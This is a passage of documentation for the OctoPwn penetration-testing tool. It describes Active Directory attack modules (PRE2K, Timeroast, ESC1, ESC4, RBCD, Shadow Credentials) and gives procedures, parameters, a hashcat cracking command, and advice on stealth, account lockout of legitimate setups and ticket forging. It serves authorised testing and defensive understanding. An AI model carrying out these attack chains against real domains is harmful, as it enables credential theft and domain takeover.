`(&(userAccountControl=4128)(logonCount=0))` are checked. That `userAccountControl` value is `WORKSTATION_TRUST_ACCOUNT (0x1000)` + `PASSWD_NOTREQD (0x20)` — the bit pattern set by the legacy "Pre-Windows 2000 compatibility" tooling. `logonCount=0` ensures the machine has **never logged on**, so the default password is still in place. This is the stealthy / efficient mode — recommended for first-pass scans. 3. **Per-account default-password derivation**: ```python password = sAMAccountName.lower() if len(password) > 15: password = password[:14] # truncate at 14 (legacy 15-char field) else: password = password[:-1] # strip the trailing '$' ``` So `WORKSTATION01$` becomes `workstation01`, `LONG-MACHINE-NAME-01$` becomes `long-machine-n` (14 chars), *etc.* 4. **SMB bind attempt** as `<sAMAccountName> : <derived password>` (NTLM) against the target DC's `445/TCP`. Two acceptance signals: - The bind **succeeds** → password is correct and the account is currently usable. - The bind **fails with `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT` / `STATUS_NOLOGON_SERVER_TRUST_ACCOUNT`** → the password is correct, but the account type doesn't allow interactive logon. **Still counted as a hit** — the credential is valid for Kerberos, just not for SMB interactive auth. 5. **Hits are added to the Credentials Hub** with `stype = password`, `source = PRE2K-<session-id>`, `username = <sAMAccountName>` (with the trailing `$`), `domain = <realm>`. --- ## Prerequisites - A **valid domain credential** to read LDAP. Any user — `Domain Users` is enough to enumerate every machine account's `sAMAccountName` and `userAccountControl`. - **Outbound `445/TCP`** from the agent to the target (typically a DC, but any SMB server in the domain that authenticates against the same KDC works as a verifier). - **Outbound `389/636/TCP`** to the same DC for the LDAP enumeration. --- ## Parameters ### Normal parameters #### `target` Target ID of a Domain Controller (used for both LDAP enumeration and SMB bind verification). Required. #### `credential` Credential ID of any domain user. Used for the LDAP read. #### `usefilter` Default: `False`. When `True`, only enumerate machines with the legacy "Pre-Windows 2000 compatibility" UAC bits set **and** `logonCount = 0`. **Strongly recommended for stealth** and for cutting attack runtime from "every machine in the domain" down to "the handful that match". #### `proxy` Optional. Proxy ID for both LDAP and SMB. ### Advanced parameters The standard `ScannerBaseParameters` set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`. Defaults are fine. --- ## Output ``` domain username password CORP.LOCAL legacy-srv-01$ legacy-srv-01 CORP.LOCAL build-vm$ build-vm ``` Each hit is added to the [Credentials Hub](../../user-guide/credentials.md) as a `password`-type credential. --- ## Output and follow-up What you do with a Pre-2k hit depends on what you want: - **Take over the machine immediately.** Use the credential with the [Kerberos client](../clients/kerberos.md) — request a TGT for the machine account, then use that TGT to enumerate its local secrets via the [SMB client](../clients/smb.md) (`regdump` / `dpapi` / *etc.*) or pivot laterally as `<machine>$`. - **Forge tickets.** A machine account's TGT is enough material to forge Silver Tickets for the SPNs it owns. Pair with [`KERBEROAST`](kerberoast.md) / [`DCSYNC`](dcsync.md) for a full chain. - **Rotate the password yourself** to lock out the legitimate machine setup. In the [Kerberos client](../clients/kerberos.md), request a TGT and use the password-change facility (`changepw` / `setpassword` depending on client version) to put a value of your choice on the account. The legitimate setup process will then fail to join, and you keep the account. - **Just record the hit.** On engagements where the goal is "demonstrate pre-2k compat is enabled", the hit alone is the deliverable. --- ## Limitations and caveats - **Default `usefilter = False` is loud.** Every machine in the domain generates one SMB connect attempt with a deliberately wrong-but-plausible password — that's a lot of `4625` failed-logon events on the DC. Set `usefilter = True` unless you're operating in a lab. - **The credentials are "first-use only" in many environments.** A genuine Pre-Windows 2000 compat account is supposed to immediately rotate its password on first real logon. So if you find a hit and hesitate, the legitimate machine joining the domain will rotate the password and your hit becomes invalid. Treat hits as time-sensitive. - **Some accounts pass the LDAP filter but no longer have the default password** — administrators sometimes manually rotate without clearing the PASSWD_NOTREQD flag. Those will silently fail the SMB bind; no false positives. - **Unicode / non-ASCII machine names** can lead to ambiguous lower-casing if the locale of the original setup didn't match what `str.lower()` produces in OctoPwn. Edge case — usually irrelevant. --- ## See also - [`TIMEROAST`](timeroast.md) — companion attack against the same class of weak machine-account passwords, but enumerated via NTP RID-roasting instead of brute. Run both: PRE2K finds default-password machines that have never logged on, TIMEROAST finds *any* machine with a weak password including those whose Pre-Windows-2000 password was set manually long after creation. - [LDAP client](../clients/ldap.md) — for inspecting the matched machine objects and their `userAccountControl` flags before / after the attack. - [Kerberos client](../clients/kerberos.md) — for using the recovered machine credential (TGT request, password change). - [SMB client](../clients/smb.md) — for using the recovered credential against actual SMB targets (the credential authenticates to `445`, even if the verifier-DC didn't allow interactive logon). --- # [Attacks / AD credentials & secrets] timeroast Source: https://docs.octopwn.com/plugins/attacks/timeroast.html # Timeroast Attack The **Timeroast Attack** leverages the **Kerberos NTP response hashing mechanism** to retrieve hashes of computer accounts in an Active Directory (AD) domain. It performs NTP Roasting by requesting NTP responses with specific RIDs. The attack is notable for being **unauthenticated**, allowing attackers to extract hashes without requiring domain credentials. When domain controllers (DCs) send NTP responses, they include a **message authentication code (MAC)** to prevent tampering. This MAC is calculated using the NTLM hash of the computer account's password combined with the NTP response as a salt: ``` MAC = MD5(MD4(computer-password) || NTP-response) ``` These hashes can then be cracked offline using tools like **Hashcat** to recover the plaintext password of computer accounts, potentially leading to lateral movement or privilege escalation. ### How Computer Accounts Get Weak Passwords - **Legacy Tools and Settings**: Older tools (e.g., `net computer`) and GUI settings may assign default passwords that match the first 14 characters of the computer name. Pre-Windows 2000 Accounts are all vulnerable. - **Manual Misconfigurations**: Administrators may unintentionally assign weak passwords during manual setups or resets. - **Disabled Password Resets**: Default settings for Windows rotate passwords every 30 days, but disabling this feature can leave weak passwords unchanged indefinitely. !!! info For a detailed explanation of Timeroasting and how to secure against it, see: [Secura Whitepaper on Timeroasting](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf). OctoPwn's Timeroast can either target a specific RID Range (the RID is the last part of the SID, e.g. S-1-5-21-2604966440-2990042199-2902315216-**1117**), or brute force all RIDs, but this will be very slow. ## Output Each captured hash is stored in the [Credentials Hub](../../user-guide/credentials.md) with `stype = sntp-ms`, `source = TimeRoast`, and `secret = <rid>:$sntp-ms$<md5hash>$<salt>` — Hashcat mode `31300`. To crack: ``` hashcat -m 31300 timeroast.hashes wordlist.txt ``` Cracked computer-account passwords are usable to: - Forge tickets (Silver / Diamond / Sapphire) with the [Kerberos client](../clients/kerberos.md) once you have rebuilt the AES key from the password. - Drop into [`pre2k`](pre2k.md) territory if the passwords match the pre-Windows-2000 pattern (lowercased computer name, no `$`). ## See also - [Kerberos client](../clients/kerberos.md) — for using the cracked computer-account passwords (TGT request, ticket forging). - [`pre2k`](pre2k.md) — companion attack for the same class of weak machine-account passwords, but enumerated via Kerberos pre-auth instead of NTP. --- ## Parameters ### Normal Parameters #### endrid Specifies the RID to target if a specific range is not brute-forced. #### oldhashes Indicates whether to retrieve previous hashes during the enumeration process. #### startrid Specifies the starting RID for enumeration. Use `-1` to brute-force all available RIDs. #### target Specifies the ID of the target NTP server. This is usually the domain controller. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the Targets Window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. --- ### Advanced Parameters #### bindport Specifies the port to bind the NTP client to. #### maxruntime Specifies the maximum runtime for the attack. #### proxy Specifies the proxy ID to use for the attack. #### rate Defines the rate of NTP packets sent per second. #### resultsfile Specifies a file for saving the attack results. #### showerrors Determines whether errors encountered during the attack should be displayed. #### timeout Sets the timeout in seconds for each target. #### workercount Specifies the number of parallel workers for the attack. --- # [Attacks / AD CS] esc1 Source: https://docs.octopwn.com/plugins/attacks/esc1.html # ESC1 Attack The **ESC1** attack module exploits a misconfigured AD CS certificate template to **enroll a certificate with an attacker-chosen Subject Alternative Name (SAN)**, then uses that certificate to authenticate to the domain as the impersonated user. It is the most common AD CS escalation primitive — when it works, it goes straight from "domain user" to "domain admin" in a few seconds, with the resulting credential landing in the [Credentials Hub](../../user-guide/credentials.md) as an immediately-usable PFX. This module assumes you already know **which template is vulnerable**. To find vulnerable templates first, run the LDAP client's [`certtemplates`](../clients/ldap.md#certtemplates) (or the [`certify` family of commands](../clients/ldap.md)) and look for templates with the `ENROLLEE_SUPPLIES_SUBJECT` (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) flag set **and** that allow client authentication and that the operator's user / group can enroll. Those are your ESC1 targets. For the case where you have *write access to the template* but the template is **not** currently set up for ESC1, use [`ESC4`](esc4.md) — it temporarily flips the right flags, runs ESC1, and reverts. --- ## How it works 1. **LDAP session** is opened against `dctarget` using `credential` (NTLM, hidden session). The session is used solely to: - Resolve the operator's domain (used to build the issuer `cn`). - Optionally enumerate Domain Admins (`dadms`) when no `targetusers` are supplied. 2. **Resolve target users.** If `targetusers` is set, those names are used verbatim. If empty, OctoPwn calls [`dadms`](../clients/ldap.md#dadms) on the LDAP session to list every member of `Domain Admins` in the realm and uses that as the impersonation set. 3. **SMB session** is opened against `target` (the **ADCS server's** TID, not the DC) using the same credential. The session is used to deliver the certificate request via DCERPC over the `\PIPE\cert` named pipe (the ICPR protocol — `RAW` and `WSTEP`-style request). HTTP/Web-Enrollment is **not** the path here; for that, use [`RELAYESC8`](../servers/relayesc8.md). 4. **For each target user**, OctoPwn calls [`certreq`](../clients/smb.md#certreq) with: - `service = <CA name>` — e.g. `ESSOS-CA`. - `template = <vulnerable template name>` — e.g. `ESC1` / `User-Custom`. - `cn = <operator>@<domain>` — the requesting identity put on the cert. - `altname = <targetuser>@<domain>` — the SAN UPN that AD will treat as the authenticated identity when the cert is later used for PKINIT. - `altsid = None` — *currently a TODO in the implementation.* See the "Limitations" section below. 5. **Result handling.** Each successful `certreq` produces a PFX credential stored in the project. Its credential ID is logged in the session window: ``` [+][ADCS][12][corp\jdoe][ESC1] Successfully performed certreq for user Administrator [+][ADCS][12][corp\jdoe][ESC1] CIDs: 47, 48, 49 ``` Use the resulting CID with [Kerberos client](../clients/kerberos.md) `tgt --etype 0` (PKINIT) to obtain a TGT for the impersonated user, or with [SMB / LDAP / WinRM clients](../clients/smb.md) directly (they all accept PFX credentials and do PKINIT internally). --- ## Prerequisites - A **valid domain credential** — used as the requestor identity. This account must have **enroll** permissions on the target template (defaults are usually `Authenticated Users` for legacy templates; in environments that follow Microsoft hardening, this is restricted to specific groups). - **Knowledge of the vulnerable template's name and the CA's service name.** Run the LDAP client's [`certtemplates`](../clients/ldap.md#certtemplates) to enumerate; pair with [`adcssrv`](../clients/ldap.md) for the CA service name. - **Outbound `445/TCP`** from the agent to the ADCS server (for the certreq RPC). `dctarget` is only accessed over LDAP (`389/636`). - **The ADCS server runs the Cert Service** and accepts ICPR requests over its named pipe. Almost all default AD CS deployments do. --- ## Parameters ### Normal parameters #### `dctarget` Target ID of a Domain Controller, used for LDAP. Required. #### `target` Target ID of the **ADCS / Enterprise CA server**. This is *not* the DC unless the CA happens to live on the DC (uncommon outside small labs). Required. #### `credential` Credential ID for both the LDAP and SMB authentications. Must have enroll rights on the target template. #### `service` Name of the **Certificate Authority service** (e.g. `ESSOS-CA`). Required. #### `template` Name of the **certificate template** to abuse. Must be ESC1-vulnerable (`ENROLLEE_SUPPLIES_SUBJECT` + client auth + the operator can enroll). Required. #### `targetusers` Comma-separated list of `sAMAccountName`s to impersonate. Optional. When empty, OctoPwn enumerates Domain Admins via LDAP and impersonates each one in turn (intentionally noisy — narrow this down for real ops). ### Advanced parameters The standard `ScannerBaseParameters` set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`, plus `proxy` from `CredentialedScanParameters`. See the [scanner parameters reference](../scanners/baseline.md). Defaults are fine. --- ## Output For each successful enrollment: ``` targetuser credentialid template service Administrator 47 ESC1 ESSOS-CA ``` The `credentialid` is the project credential ID of the newly stored PFX. From there: - **Get a TGT for the impersonated user**: use that PFX cred with the [Kerberos client](../clients/kerberos.md) to request a TGT (PKINIT auto-engages when a PFX is supplied as the credential). - **Run any other module as the impersonated user** by selecting the new PFX cred — every PFX-aware client (LDAP, SMB, WinRM, MSSQL, …) does PKINIT transparently. --- ## Limitations and caveats - **`altsid` is currently `None`.** OctoPwn does not yet inject the target user's SID into the certificate's `szOID_NTDS_CA_SECURITY_EXT` extension. After Microsoft's May 2022 patch (KB5014754), DCs that fully enforce strong certificate mapping reject UPN-only mappings and require the SID extension. Practical impact: - In **compatibility mode** (the default until Feb 2025; many environments still run it as of this writing) — ESC1 works as documented. - In **enforcement mode** — the issued PFX is valid, but the PKINIT authentication will fail with `KDC_ERR_CLIENT_NAME_MISMATCH`. There is a code TODO to add the SID, which will resolve this. - If you must operate against an enforced environment, request the certificate manually using the [SMB client's](../clients/smb.md) [`certreq`](../clients/smb.md#certreq) command, supplying the `altsid` parameter explicitly. - **`targetusers = empty` enumerates all DAs.** That can mean *dozens* of certreq calls on a single run — each visible in CA event logs. Always narrow this down for stealth. - **No template-feasibility pre-check.** OctoPwn does not verify that the named template is actually ESC1-vulnerable; it just attempts the request. If you point it at a non-vulnerable template, every certreq comes back with a CA-policy denial. Run [`certtemplates`](../clients/ldap.md#certtemplates) first. - **Web-Enrollment (HTTP) ESC1** is not exposed by this module. For HTTP-based ESC1 (often combined with NTLM relay), use [`RELAYESC8`](../servers/relayesc8.md). --- ## See also - [`ESC4`](esc4.md) — when *you have write rights on the template* but ESC1 is not currently configured. Briefly enables ESC1 on the template, runs ESC1, reverts. - [LDAP client → `certtemplates`](../clients/ldap.md#certtemplates) — list templates and inspect their flags / ACLs to identify ESC1-vulnerable ones. - [LDAP client → `dadms`](../clients/ldap.md#dadms) — enumerate Domain Admins manually. - [SMB client → `certreq`](../clients/smb.md#certreq) — single-user certreq with full parameter control (including `altsid`). - [`RELAYESC8`](../servers/relayesc8.md) — the HTTP / Web-Enrollment ESC8 variant; pairs with NTLM relay. - [Kerberos client](../clients/kerberos.md) — for using the resulting PFX to obtain a TGT. - [SpecterOps: Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) — canonical AD CS abuse paper (ESC1 is technique 1). --- # [Attacks / AD CS] esc4 Source: https://docs.octopwn.com/plugins/attacks/esc4.html # ESC4 Attack The **ESC4** attack module exploits **write access to a certificate template's LDAP object** to temporarily make that template vulnerable to [ESC1](esc1.md), enrol an arbitrary-SAN certificate, and then **automatically restore the template's original flags** so the change is invisible by the time the attack ends. The high-level chain is: 1. **Modify** the template's `msPKI-Certificate-Name-Flag` to include `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` — the bit that makes a template ESC1-vulnerable. 2. **Run [ESC1](esc1.md)** against that now-vulnerable template. 3. **Restore** the original flag value, even on error (the restore lives in the `finally` block). End result: a PFX credential for an arbitrary user (typically Domain Admin) appears in the [Credentials Hub](../../user-guide/credentials.md), and the template looks unchanged in any future audit. --- ## How it works 1. **LDAP session** is opened against `dctarget` using `credential` (NTLM, hidden). The LDAP credential must have **`Write` permission on the target certificate template's LDAP object** — that's the entire ACL weakness ESC4 abuses. Effective ACEs to check for include `WriteProperty`, `GenericWrite`, `GenericAll` and `WriteOwner` / `WriteDACL` on the template object under `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,...`. 2. **Flip the template flag.** OctoPwn calls [`addcerttemplatenameflagaltname`](../clients/ldap.md#addcerttemplatenameflagaltname) with no `flags` argument — that path **records the current value of the template's `msPKI-Certificate-Name-Flag` attribute, then OR-merges in `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`**, and writes the result back. The original numeric value is captured in `orig_flags` and held in the attack-session state. 3. **Confirm and emit a result row** so the operator sees the change happened. ``` [+][ADCS][12][corp\jdoe][ESC4] Successfully modified certificate template to be vulnerable to ESC1 [+][ADCS][12][corp\jdoe][ESC4] Original flags: 8 ``` 4. **Run ESC1** by handing the same LDAP session over to [`exploit_esc1`](esc1.md) with the now-vulnerable template. Because the LDAP session is reused, no second LDAP login happens. ESC1 then: - Resolves `targetusers` (or fetches Domain Admins via [`dadms`](../clients/ldap.md#dadms)). - Opens a hidden SMB session to the ADCS server (`target`). - Issues a [`certreq`](../clients/smb.md#certreq) per impersonated user with `altname = <user>@<domain>`. - Stores each resulting PFX in the Credentials Hub. 5. **Always restore the original flag value.** The `finally` block calls `addcerttemplatenameflagaltname(template, orig_flags)` to put the flag back. This runs even on cancellation / error, so you do not leave the template ESC1-vulnerable after the attack. !!! warning "Restore can fail silently" The restore happens *as the same LDAP session*. If the LDAP session was lost between the modify and the finally (e.g. network blip), the restore will not happen. Always check the session window's tail — look for `[+] Successfully restored original flags`. If you don't see it, manually clear the flag with the LDAP client's [`addcerttemplatenameflagaltname`](../clients/ldap.md#addcerttemplatenameflagaltname) command, or use [`certtemplates`](../clients/ldap.md#certtemplates) to inspect. --- ## When to choose ESC4 vs ESC1 | Situation | Use | | --------------------------------------------------------------------- | ------------------ | | Template already has `ENROLLEE_SUPPLIES_SUBJECT` set, you can enroll | [`ESC1`](esc1.md) | | Template doesn't have that flag, you have `WriteProperty` / `GenericWrite` on the template object | **`ESC4`** | | Template already vulnerable but **you can also write to it** | Either; `ESC1` is one fewer LDAP round-trip | | You want to abuse template ACLs for *anything other than ESC1* (replace `pKIExtendedKeyUsage`, change issuance requirements, …) | Drive [LDAP client](../clients/ldap.md) directly — OctoPwn currently only automates the ESC1-via-name-flag path | To find ESC4-vulnerable templates, look at template object ACLs with the [LDAP client](../clients/ldap.md). Anything the operator's user / group can write to is a candidate; the most common practical hit is `Authenticated Users` having `WriteProperty` on a template that wasn't hardened during deployment. --- ## Prerequisites - A **valid domain credential** with **write access on the target template's LDAP object**. Not "the operator's user is in some group that's a Cert Publisher" — *write* on the template itself. - **Knowledge of the template name and the CA service name** — same inputs as ESC1. - **Outbound `389/636/TCP`** to `dctarget` (LDAP), and **`445/TCP`** to `target` (the ADCS server, for the certreq RPC). - **The ADCS server runs the Cert Service** and accepts ICPR requests on its named pipe. (Standard AD CS deployment.) --- ## Parameters Identical to [ESC1](esc1.md): #### `dctarget` Target ID of a Domain Controller (LDAP). Required. #### `target` Target ID of the **ADCS server** (where the certreq is delivered). Required. #### `credential` Credential ID for both LDAP and SMB. Must have `WriteProperty` / `GenericWrite` (or stronger) on the target template object. #### `service` CA service name (e.g. `ESSOS-CA`). Required. #### `template` Template name to abuse. Must be writeable by `credential`. Required. #### `targetusers` Comma-separated list of `sAMAccountName`s to impersonate. Optional. When empty, every Domain Admin is impersonated. ### Advanced parameters The standard set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`, plus `proxy`. See [scanner parameters reference](../scanners/baseline.md). --- ## Output Two result row types: ``` template orig_flags modified User-Custom 8 True targetuser credentialid template service Administrator 47 User-Custom ESSOS-CA ``` Plus the standard ESC1 PFX credentials in the Hub. Use them via the [Kerberos client](../clients/kerberos.md) to PKINIT into a TGT for the impersonated user. --- ## Limitations and caveats - **`altsid` is currently `None`.** Inherited from ESC1 — see the [ESC1 page's "Limitations" section](esc1.md#limitations-and-caveats) for the SID-extension / strong-cert-mapping caveat. - **Restore window.** Between step 2 (modify) and step 5 (restore), the template *is* ESC1-vulnerable. If anyone else happens to enrol against it during that window (typically seconds), they get a SAN-supplying certificate too. In practice this is a non-issue, but on heavily monitored CAs you'll see your own enrolment + the restore + the original flag in the CA event log within seconds of each other — a clear ESC4 signature. - **Only the "name flag" path is automated.** Other ESC4-class abuses (replacing `pKIExtendedKeyUsage` with `Smart Card Logon` / `Client Authentication`, lowering `msPKI-RA-Signature` to 0, removing `MANAGER APPROVAL` issuance requirements, …) require driving the LDAP client manually. - **Atomicity.** The flag-flip and the certreq are not transactional. If the network drops between them, you may end up with the flag still set and no PFX issued. Re-running the attack is safe — it'll restore the original value either way (because the captured `orig_flags` is what was already modified, but in practice the `finally` runs before any external observer noticing). --- ## See also - [`ESC1`](esc1.md) — the underlying primitive ESC4 wraps. - [LDAP client → `addcerttemplatenameflagaltname`](../clients/ldap.md#addcerttemplatenameflagaltname) — the same template-flag flip available as a single-shot LDAP command. - [LDAP client → `certtemplates`](../clients/ldap.md#certtemplates) — list / inspect templates and their ACLs to identify ESC4-writeable ones. - [SMB client → `certreq`](../clients/smb.md#certreq) — single-user certreq with full parameter control. - [SpecterOps: Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) — canonical AD CS abuse paper (ESC4 is template ACL abuse, technique 4). --- # [Attacks / Kerberos delegation] rbcd Source: https://docs.octopwn.com/plugins/attacks/rbcd.html # RBCD Attack The **RBCD** (Resource-Based Constrained Delegation) attack abuses the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on a target machine account to **make any user authenticate to that machine as any other user**, including Domain Admins. The classic Elad Shamir [Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) chain, fully automated. In a single run, OctoPwn: 1. Creates a fresh machine account (`MachineAccountQuota` lets any domain user create up to 10 by default). 2. Sets `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target machine, listing the new machine account's SID as allowed to delegate. 3. Performs S4U2Self + S4U2Proxy as the new machine to obtain a service ticket for the target machine **as `targetuser`** (e.g. `Administrator`). 4. Restores the target machine's original security descriptor and **deletes the newly created machine account**. End result: a service ticket usable to access the target machine as any delegate-able domain user, with the cleanup handled. --- ## How it works 1. **LDAP session.** Open a hidden LDAP session against `dctarget` using `credential` (NTLM). Login. 2. **Create a controlled machine account.** [`computeradd`](../clients/ldap.md#computeradd) is called with a randomly named machine (`TEST-<8 hex chars>$`). The new account is automatically added to the [Credentials Hub](../../user-guide/credentials.md) with its freshly minted password. The result includes: - `cid` — credential ID of the new machine account. - `sAMAccountName` — `TEST-...$`. - `distinguishedName` — full DN, kept for cleanup. - `objectSid` — the new machine's SID, used in step 4. 3. **Resolve the target machine's DN.** [`sam2dn`](../clients/ldap.md#sam2dn) is tried with both `<targetmachine>` and `<targetmachine>$` so you don't have to remember whether your input includes the trailing `$`. 4. **Write `msDS-AllowedToActOnBehalfOfOtherIdentity`** on the target machine via [`addallowedtoactonbehalfofotheridentity`](../clients/ldap.md#addallowedtoactonbehalfofotheridentity). The original security descriptor is captured so it can be restored in the `finally`. 5. **Open Kerberos session** as the new machine account (using `cid` from step 2). This session is also hidden. 6. **S4U2Proxy.** [`s4uproxy`](../clients/kerberos.md#s4uproxy) is called with `(targetspn, targetuser)`. Internally this performs the S4U2Self → S4U2Proxy chain — the new machine account asks the KDC to issue itself a TGS for `targetuser` to `targetuser` (S4U2Self), then exchanges that for a TGS to `targetspn` on behalf of `targetuser` (S4U2Proxy). The resulting service ticket is stored in the project as a Kerberos credential. 7. **Cleanup (always runs in `finally`).** - Restore the original `msDS-AllowedToActOnBehalfOfOtherIdentity` value on the target machine via [`restoreallowedtoactonbehalfofotheridentity`](../clients/ldap.md). - [`deluser`](../clients/ldap.md#deluser) on the new machine account's DN — the controlled computer object is removed from AD. - LDAP session logout. The service ticket from step 6 is what you actually use post-attack: it grants the holder access to `targetspn` on `targetmachine` as `targetuser`. Common follow-ups: - `targetspn = CIFS/<targetmachine>` → SMB session as `<targetuser>` against `<targetmachine>` (default if you leave `targetspn` empty). - `targetspn = HOST/<targetmachine>` → general SPN for SMB / RPC / WinRM. - `targetspn = HTTP/<targetmachine>` → WinRM / HTTP-based services. - `targetspn = LDAP/<dc>` → LDAP as `<targetuser>` against the DC. --- ## Prerequisites - A **valid domain credential** that can: - Create new machine accounts (i.e. `MachineAccountQuota > 0` for that account, default `10`). If `MachineAccountQuota = 0`, RBCD via this module fails at step 2; you must instead obtain or generate a pre-existing machine account credential via another path. - **Write `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target machine.** This is the actual primitive RBCD abuses. Common ways to have this: - The credential is `Domain Admins` (trivial). - The credential / one of its groups has `WriteProperty` on the machine object via a misconfigured ACL (the standard RBCD scenario — typically delivered via a successful [`RELAYLDAP`](../servers/relayldap.md) into the target machine object's ACL). - The credential **is** the machine — i.e. you have NTDS / a captured machine secret. - **`targetuser` must be delegate-able.** Members of `Protected Users`, accounts with `Account is sensitive and cannot be delegated` set, and accounts in the AdminSDHolder-protected groups under modern hardening will cause S4U2Proxy to return `KDC_ERR_BADOPTION` / `KRB_AP_ERR_BAD_INTEGRITY` / `KDC_ERR_POLICY`. Many production environments have *some* protected accounts but lots of unprotected ones; pick a delegate-able target user. - **Outbound `389/636/TCP`** to `dctarget` (LDAP) and **`88/UDP+TCP`** for the Kerberos exchange. - **The target machine must be reachable** at the protocol implied by `targetspn`. RBCD only gets you a valid ticket; you still need network access to use it. --- ## Parameters ### Normal parameters #### `dctarget` Target ID of the Domain Controller (LDAP). Required. #### `credential` Credential ID for the LDAP bind and as the creator of the new machine account. #### `targetmachine` The `sAMAccountName` of the **machine you want to take over**, with or without the trailing `$`. Required. #### `targetuser` The `sAMAccountName` of the **user to impersonate** (typically `Administrator` or another delegate-able privileged account). Can be a UPN (`user@domain`); if not, OctoPwn appends `@<dctarget's domain>`. Required. #### `targetspn` The SPN to request the service ticket for. If empty, defaults to `CIFS/<targetmachine>` (i.e. SMB on the target machine). Set explicitly to go after a non-SMB service: ``` CIFS/winterfell # SMB on winterfell — default HOST/winterfell # generic host services HTTP/winterfell # WinRM / HTTP LDAP/dc01 # LDAP — useful for cross-machine pivots ``` ### Advanced parameters The standard `ScannerBaseParameters` set: `maxruntime`, `resultsfile`, `showerrors`, `timeout`, `workercount`, `wsnetreuse`, plus `proxy` from `CredentialedScanParameters`. --- ## Output ``` targetuser targetmachine targetspn computersam success Administrator kingslanding CIFS/kingslanding TEST-a1b2c3d4$ True ``` Plus a stored Kerberos credential (the service ticket itself), and the session-window log of every step (machine creation, DN resolution, ACL write, Kerberos exchange, cleanup). --- ## Limitations and caveats - **Cleanup matters.** The new machine account *and* the original SD on the target machine are restored / deleted in the `finally`, but if the LDAP session dies between the modify and the cleanup (rare), you'll leave a rogue machine account in AD and a writable `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target. Always check the session window's tail for `Machine account removed successfully` and `Original SD restored`. If absent, clean up manually with the LDAP client. - **`MachineAccountQuota` matters.** Many environments now set this to `0` to prevent exactly this attack. If creation fails with `LDAP_INSUFFICIENT_RIGHTS` / `STATUS_DS_USER_TOO_MANY_OBJECTS_IN_GROUP`, you'll need an existing machine account credential — at which point you can drive the underlying primitives manually via the [LDAP client](../clients/ldap.md) and [Kerberos client](../clients/kerberos.md). - **Protected Users / sensitive accounts.** Pick a delegate-able target user. The error is informative but not always obvious — if S4U2Proxy fails with `KDC_ERR_POLICY`, the target user is protected. - **Audit signature.** Two distinct events are likely to be logged: - `4741` (computer account created), then `4743` (computer account deleted) — within seconds of each other. - `4738` / `5136` on the target machine object (security-descriptor change), again with the inverse change shortly after. Mature SOCs catch this RBCD signature easily; this attack is fast, not subtle. - **Multi-DC race.** AD replication can mean the LDAP write hits one DC and the S4U exchange hits another that hasn't replicated yet. If the attack fails immediately after the SD write with `KDC_ERR_BAD_INTEGRITY`, give it a minute and re-run, or pin both LDAP and Kerberos to the same DC. --- ## See also - [LDAP client](../clients/ldap.md) — for manual RBCD work (the [`addallowedtoactonbehalfofotheridentity`](../clients/ldap.md#addallowedtoactonbehalfofotheridentity) / [`computeradd`](../clients/ldap.md#computeradd) / [`s4u2proxy`](../clients/ldap.md#s4u2proxy) commands). - [Kerberos client → `s4uproxy`](../clients/kerberos.md#s4uproxy) — the underlying S4U primitive. - [`SHADOWCREDS`](shadowcreds.md) — alternative way to take over a target user account when you have write rights on the user's object instead of on a machine. - [`RELAYLDAP`](../servers/relayldap.md) — the most common way to *acquire* the necessary write access on a machine object before running RBCD. - [Wagging the Dog (Elad Shamir)](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) — the canonical RBCD reference. --- # [Attacks / Kerberos delegation] shadowcreds Source: https://docs.octopwn.com/plugins/attacks/shadowcreds.html # Shadow Credentials Attack The **Shadow Credentials** attack (Elad Shamir's ["Shadow Credentials"](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ec)) abuses **write access on a target user / computer object's `msDS-KeyCredentialLink` attribute** to plant a forged WHfB-style key credential, then uses **PKINIT** to obtain a TGT for the target — and finally [**UnPAC the Hash**](https://www.thehacker.recipes/a-d/movement/kerberos/unpac-the-hash) to recover the target's NT hash. In a single OctoPwn run, this: 1. Generates a fresh self-signed certificate + RSA key. 2. Embeds the public key in a `KeyCredential` blob and **appends it to** (not replaces) the target object's `msDS-KeyCredentialLink` — capturing the original value first. 3. Uses the PFX (cert + private key) to do **PKINIT** as the target. 4. Calls `nt` on the resulting Kerberos session to UnPAC the target's **NT hash** out of the TGT's `PAC_CREDENTIAL_INFO`. 5. Restores the original `msDS-KeyCredentialLink` value, no matter what. The recovered NT hash is stored in the [Credentials Hub](../../user-guide/credentials.md) and is immediately usable for pass-the-hash, Kerberoast, *etc.* — and the target's normal authentication keeps working because their existing keys / WHfB devices were preserved. --- ## How it works 1. **LDAP session** is opened against `dctarget` using `credential` (NTLM, hidden) and logged in. 2. **`shadowcred(targetuser)`** is called on the LDAP session, which under the hood: - Generates a fresh RSA key + self-signed X.509 cert in OctoPwn. - Builds a `KeyCredential` (Microsoft KEYCREDENTIALLINK_BLOB) wrapping that public key, with a fresh `DeviceID` GUID. - Reads the target user's current `msDS-KeyCredentialLink` value and stashes it in `original_certs`. - Writes back the original list **plus the new entry**. - Stores the matching PFX (cert + private key) as a project credential and returns its `cid` along with `original_certs` and the `target_dn`. The new PFX cred shows up in the Credentials Hub immediately. 3. 